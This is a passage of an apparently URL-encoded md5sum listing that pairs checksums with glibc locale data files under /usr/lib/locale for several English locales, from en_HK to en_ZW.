18f0f590693af6ebe1fb3df8a83ab%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A2f60ea61abf1f7fdc9d035482c31ac6a%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_NAME%0A09e9ab77c3c022684727b546a4d211c8%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_IDENTIFICATION%0Ae734582b0a0e47e64403df60a5e54fe6%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_TELEPHONE%0A99d31d08c9b8329c716de53e1a14c934%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_MONETARY%0A1714c17cb51745e181cefb21e5979af8%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_TIME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_MEASUREMENT%0A339818f2adcb169d6bf749131be816e3%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_NUMERIC%0A6c252a0eacd0ab87f0b3feaff766121e%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_ADDRESS%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_PAPER%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fen_HK%2FLC_COLLATE%0A01d8779abd351873d597783147bc52d6%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A9c998ff40f272445f372e4aed278fac7%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_TIME%0A3608dee3e3c8c4d1d481c95e18633d77%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_IDENTIFICATION%0A38d5cbb51e8c67f4892afb75d9c7b682%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_MONETARY%0A90ef59ac82f2765437880ef39ca58239%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_NAME%0Acbd8ed7030ba4819095e080c7907e608%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_TELEPHONE%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_PAPER%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_NUMERIC%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fen_HK.utf8%2FLC_ADDRESS%0A6e7fd6fffc7f1de32459ae3d181f32fc%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A72dbfc4f7caa78be39a87110e0e4ff69%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_TIME%0A101e6943a43668d3f5320d0295a88375%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_IDENTIFICATION%0A490e86e94d658fa919b179a8df400134%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_TELEPHONE%0A4e85b26e337c74986496b122151a62cb%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_MONETARY%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_MEASUREMENT%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%2FLC_ADDRESS%0Af28b031f31d9c911cfec625d850ed942%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aae4482e49d16002f6c39d3e24e78dcec%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_TIME%0Aeb79c4b17b0d27e3cf0f6e2eca808e39%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_IDENTIFICATION%0A741f3ece6413e87b522f7ff5a6bd50ee%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_TELEPHONE%0A0f17b624b589337260c82dc6b9e6ab5d%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_MONETARY%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_PAPER%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_MEASUREMENT%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%2FLC_COLLATE%0Af28b031f31d9c911cfec625d850ed942%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aae4482e49d16002f6c39d3e24e78dcec%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_TIME%0Ade20318947009b6935fe11167ff9ae1d%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_IDENTIFICATION%0A741f3ece6413e87b522f7ff5a6bd50ee%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_TELEPHONE%0Add43aa8466fc64bee70a3a9a23450e94%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_MEASUREMENT%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_IE.utf8%40euro%2FLC_COLLATE%0A980d407e24b151de13771aecb980ba54%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Abcb020ed52227404a065952c229ee837%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_TIME%0A268468edd7fa8cafc55d1b1a1dac1b1c%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_IDENTIFICATION%0Ae9c19ea15c53743150413695ed0dd575%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_TELEPHONE%0A99520b53fc1f08dbd69469b3dfd27b4e%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_NUMERIC%0Ac3cd673a1f4210ca376b8789ba85fb99%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_MONETARY%0Ab7d183bf4367f2cfdfe88aa1667a5d5d%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_COLLATE%0Ac8d0b32a3a4c7fd13e654482eda18620%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_PAPER%0A7809ac117e96c386beffe3ebdacca6dc%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_NAME%0A67269a7b9cd9fe5f02919e948a231c34%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_MEASUREMENT%0Ad9b1fa625a566959a39b3dd9b3036d0a%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_CTYPE%0Ab4210496dbffa5fde62d96cbbaa739fd%20%20%2Fusr%2Flib%2Flocale%2Fen_IE%40euro%2FLC_ADDRESS%0A01d8779abd351873d597783147bc52d6%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ae06090fbe55131b49a3e30382923f0b8%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_TIME%0A636aec8cf9be4d3929ecd0a517105771%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_IDENTIFICATION%0Acbd8ed7030ba4819095e080c7907e608%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_TELEPHONE%0A90ef59ac82f2765437880ef39ca58239%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_MEASUREMENT%0A6b9da3856495e738bad389d71f69ba35%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_NUMERIC%0Af21dec04d7e7aef002cf9241c2681278%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_MONETARY%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fen_IN%2FLC_ADDRESS%0A6e7fd6fffc7f1de32459ae3d181f32fc%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A72dbfc4f7caa78be39a87110e0e4ff69%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_TIME%0A14d1da2823a011810226fcdef3b6c3d3%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_IDENTIFICATION%0A637ddf9bdbc6798e9d73485feaa10ef5%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_TELEPHONE%0A0ff3aee7cc70acc1ab7e569b28a15a51%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_MEASUREMENT%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ%2FLC_ADDRESS%0Af28b031f31d9c911cfec625d850ed942%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aae4482e49d16002f6c39d3e24e78dcec%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_TIME%0A2e7650529e5f1ff04b1e54b251db2d2d%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_IDENTIFICATION%0A7537652cd85f3e78ae0a321c390d576c%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_TELEPHONE%0A4343371a58a3b3347078079913733c1e%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_MEASUREMENT%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_NZ.utf8%2FLC_COLLATE%0A86b18f0f590693af6ebe1fb3df8a83ab%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A3a8177e2570e637fb3355a1234a08955%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_TIME%0A2945f096466292aa784320bba12da458%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_IDENTIFICATION%0Ae734582b0a0e47e64403df60a5e54fe6%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_TELEPHONE%0Aa1eb6f23b38a28aa4deec144651e2476%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_MONETARY%0A4e8c474096cf5a9cc7061c1f39737e7c%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_MEASUREMENT%0A339818f2adcb169d6bf749131be816e3%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_NUMERIC%0A6c252a0eacd0ab87f0b3feaff766121e%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_ADDRESS%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_PAPER%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fen_PH%2FLC_COLLATE%0A01d8779abd351873d597783147bc52d6%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A15a592b94cfc83316de126387789270e%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_TIME%0A9928975ff298b111be1679d187f55a10%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_IDENTIFICATION%0Acbd8ed7030ba4819095e080c7907e608%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_TELEPHONE%0A588d27cef30702966d1210c32f41db22%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_MONETARY%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_PAPER%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_MEASUREMENT%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_NUMERIC%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fen_PH.utf8%2FLC_ADDRESS%0A86b18f0f590693af6ebe1fb3df8a83ab%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A765524f208be35fe031145192fbc0dae%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_TIME%0A4c3de382f4d9ada284c22df4641cc7dd%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_IDENTIFICATION%0Ae734582b0a0e47e64403df60a5e54fe6%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_TELEPHONE%0Aa5ec5f7e34546a9427b01968fb75d57e%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_MONETARY%0A4e8c474096cf5a9cc7061c1f39737e7c%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_NAME%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_MEASUREMENT%0A339818f2adcb169d6bf749131be816e3%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_NUMERIC%0A6c252a0eacd0ab87f0b3feaff766121e%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_ADDRESS%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_PAPER%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fen_SG%2FLC_COLLATE%0A01d8779abd351873d597783147bc52d6%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ac839e70ad276ac3aabd0fa8ca310510d%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_TIME%0A81abfc36421cffb2631a9f87b0ad978f%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_IDENTIFICATION%0Acbd8ed7030ba4819095e080c7907e608%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_TELEPHONE%0Ae19b24eecc9a3a0ee029eda7fbf27dc5%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_MONETARY%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_PAPER%0A090083a6859338a517a96550cab8d845%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_NAME%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_MEASUREMENT%0A5ff44f043d7bfa890f85a1a84d8fab29%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_NUMERIC%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_COLLATE%0A6280a46712a02caa517d7acc8d60c117%20%20%2Fusr%2Flib%2Flocale%2Fen_SG.utf8%2FLC_ADDRESS%0A6e7fd6fffc7f1de32459ae3d181f32fc%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ac407a0b26fdec785ce085cbbdd0f427a%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_TIME%0A07efed5bf708860f4ac7e6f9611fd341%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_IDENTIFICATION%0A49a54434ce97fe46ba05bd6dccd378ab%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_TELEPHONE%0A60e11058a8d12393e3a8b429bd5caa6b%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_NAME%0Ad0dae383599408a1e0ccf9e87c8a6749%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_MONETARY%0Ae4379bed742b442ae747984d85066ba2%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_MEASUREMENT%0A8c89700c17e6aca5fecaf3b58044903a%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_ADDRESS%0A9118f2d9cbd86d541e26fc3b3d39f830%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_PAPER%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_NUMERIC%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fen_US%2FLC_COLLATE%0A7bc49d4a59ec989d88049fe8ca5ce1b7%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_IDENTIFICATION%0Ac9a80280467945dd352db31601c2056f%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_ADDRESS%0Af28b031f31d9c911cfec625d850ed942%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Ae476dda760b6f02dcc7bcd0baeb8e770%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_TELEPHONE%0Abb9d5bf49878db915f005fed60143849%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_NAME%0A634f23ffb506babe0aa75c3b0334b52b%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_MONETARY%0A99041b609913ec92aa7842c279a9346b%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_TIME%0A7f86a6b2fd3d6e4fd7cdebac824c8047%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_MEASUREMENT%0Af0ea34926604ccd6562bd37402c9557f%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_PAPER%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_NUMERIC%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_US.utf8%2FLC_COLLATE%0A43946a0654a4236ebc9609a6d226cd4e%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A72dbfc4f7caa78be39a87110e0e4ff69%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_TIME%0A3bb66e775562763679f4e171ea31d718%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_IDENTIFICATION%0A0e35ad85fc95446ab5a5f240b8baa0cf%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_TELEPHONE%0A28b065bcf4a0cc4721dd19c35228473b%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_MONETARY%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_NUMERIC%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_MEASUREMENT%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA%2FLC_ADDRESS%0Acfd8a97f286e921e9213cdaf077a609f%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aae4482e49d16002f6c39d3e24e78dcec%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_TIME%0A29ccee738003fd335e2f13e1ea7bef05%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_IDENTIFICATION%0A359edd740953843a9cd172eededff7a6%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_TELEPHONE%0A97f099cd5874e9cdfe4cbea2bb665c98%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_MONETARY%0A2bdf3c383185857860a6bc2ad60ef9bd%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_MEASUREMENT%0A25bea281b7df587a92c8fcf2124e83af%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_NUMERIC%0Ac3a1cc9fcc203febec7c2fe1770abd10%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_NAME%0A0d20d1d42c10d0658e713e845c9b642c%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_ADDRESS%0A3d736a5f344da23842f8a5e927373569%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_PAPER%0Aeab22f048ec077baf9511b8f91ef46c3%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_CTYPE%0A7055ed589bdfe4d4ab38dbd83e2ef642%20%20%2Fusr%2Flib%2Flocale%2Fen_ZA.utf8%2FLC_COLLATE%0A43946a0654a4236ebc9609a6d226cd4e%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0A72dbfc4f7caa78be39a87110e0e4ff69%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_TIME%0A1dc0d5382fbaa5c685cbdfd6066acb24%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_IDENTIFICATION%0A3a8dfff198b3dea33dd9af42d71c6507%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_TELEPHONE%0A44ae5dfbe09d12fa0455b6f7df47302a%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_MONETARY%0A90fe15212a1ac184814f6171928b0e1d%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_MEASUREMENT%0A5a0d7365ae442bb043e74cf258fcb8ec%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_NUMERIC%0A74a67436a5f50d83f924c404cbbf8e66%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_PAPER%0A56b7ef56b353c460bc80c192ec1627cf%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_NAME%0A6c5e5033ee3bbded5815a975062fd53e%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_CTYPE%0A74ad1041fbc8a219f9e8fdf1436ff5c0%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_COLLATE%0A84cd44be8697f7593a4b38002c12b5df%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW%2FLC_ADDRESS%0Acfd8a97f286e921e9213cdaf077a609f%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW.utf8%2FLC_MESSAGES%2FSYS_LC_MESSAGES%0Aae4482e49d16002f6c39d3e24e78dcec%20%20%2Fusr%2Flib%2Flocale%2Fen_ZW.utf8%2FLC_TIME%0A27135a15b60bccd4720289c61cee13a3%20%20%2Fusr%2Flib%2Flocale